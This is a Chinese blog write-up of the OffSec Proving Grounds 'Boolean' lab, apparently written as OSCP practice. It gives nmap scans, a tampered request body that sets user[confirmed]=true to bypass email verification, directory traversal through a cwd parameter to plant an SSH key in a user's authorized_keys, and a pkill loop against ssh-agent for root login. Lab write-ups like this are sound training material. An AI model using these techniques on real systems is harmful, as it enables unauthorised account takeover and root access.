OSCP Boolean Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Boolean

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

注册用户 –> 修改邮箱抓包修改请求体激活账号 –> 上传文件存在目录穿越,上传私钥文件 –> remi 用户权限 –> 用户旗帜

权限提升:

remi 用户.ssh 目录存在 root 用户私钥文件 –> bash while 循环结束 ssh-agent 进程 –> 利用私钥连接靶机,获取到 root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
sudo nmap -p- 192.168.130.231 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp closed ppp
33017/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sudo nmap -p22,80,33017 -sCV 192.168.130.231

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
| 256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
|_ 256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
80/tcp open http
| http-title: Boolean
|_Requested resource was http://192.168.130.231/login
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| HTTP/1.1 400 Bad Request
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 403 Forbidden
| Content-Type: text/html; charset=UTF-8
|_ Content-Length: 0
33017/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Development
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 修改请求体键值激活注册用户

系统 HTTP 3000 端口枚举未发现任何有价值信息(兔子洞),HTTP 80 服务存在登录和注册功能。

测试注册账号,登录后提示需要点击邮箱链接才能激活,这里很明显需要想办法绕过邮箱验证来激活账号。

点击后台修改邮箱并使用 burp 抓取数据包。

仔细观察请求体和响应体,首先将请求体使用 URL 解码。

修改请求体 user[email]值响应体 email 也会发生变化,猜测该接口的请求体可修改账号配置信息。

响应体除了 email 参数还存在 confirmed 参数,而该字段中文为确认的意思,尝试在请求体修改该参数为 true,结果成功修改。

1
_method=patch&authenticity_token=wxkjypLE7_UNgjagaMjJ6NNBuVoaczAEpR3wUCVnRzjhiUfv5_Zjbf6bmaehjajqLr7chg1nAxfEMw1hV1ADzQ&user%5Bemail%5D=F0ne%40qq.com&user%5Bconfirmed%5D=true

再次返回登录页面刷新,可成功访问后台应用。

3.2.2 后台路径上传接口存在路径穿越,用户目录上传 kali 私钥文件

后台可上传和下载文件,但无法执行文件。测试上传下载时,得到了一个新的 URL。

1
http://192.168.130.231/?cwd=&file=test&download=true

尝试仅通过 cwd 参数访问系统,并测试目录穿越,可通过 ../ 穿越至任意目录。

1
http://192.168.130.231/?cwd=../../

穿越至系统用户目录,上传 kali 私钥文件至 authorized_keys 文件。

1
http://192.168.130.231/?cwd=../../../../../home/remi/.ssh

1
cat ~/.ssh/id_rsa.pub > authorized_keys

使用 kali 私钥文件连接靶机,得到系统 remi 用户 shell。

1
ssh -i ~/.ssh/id_rsa remi@192.168.130.231

3.2.3 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Remi 用户 .ssh 目录私钥提权至系统 root 用户

靶机系统信息搜集过程中,在 remi 用户.ssh/keys 目录发现了私钥文件,利用该私钥文件 ssh 连接靶机,系统提示因尝试次数太多而拒绝连接。

通过系统网络连接发现本地 22 端口被某个进程访问。

使用 ps -aux 发现 ssh-agent 进程非常可疑,使用 kill -9 将其结束,再次执行发现进程依然存在。

在 bash 编写 while 语句一直执行 pkill 命令,不断的结束包含 ssh-agent 的进程,再次通过 ssh 连接,得到系统 root 用户权限。

1
2
while true; do pkill ssh-agent; done
ssh -i root root@127.0.0.1

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Boolean Write-up
https://www.f0nesec.top/2025/08/21/oscp-boolean/
作者
F0ne
发布于
2025年8月21日
许可协议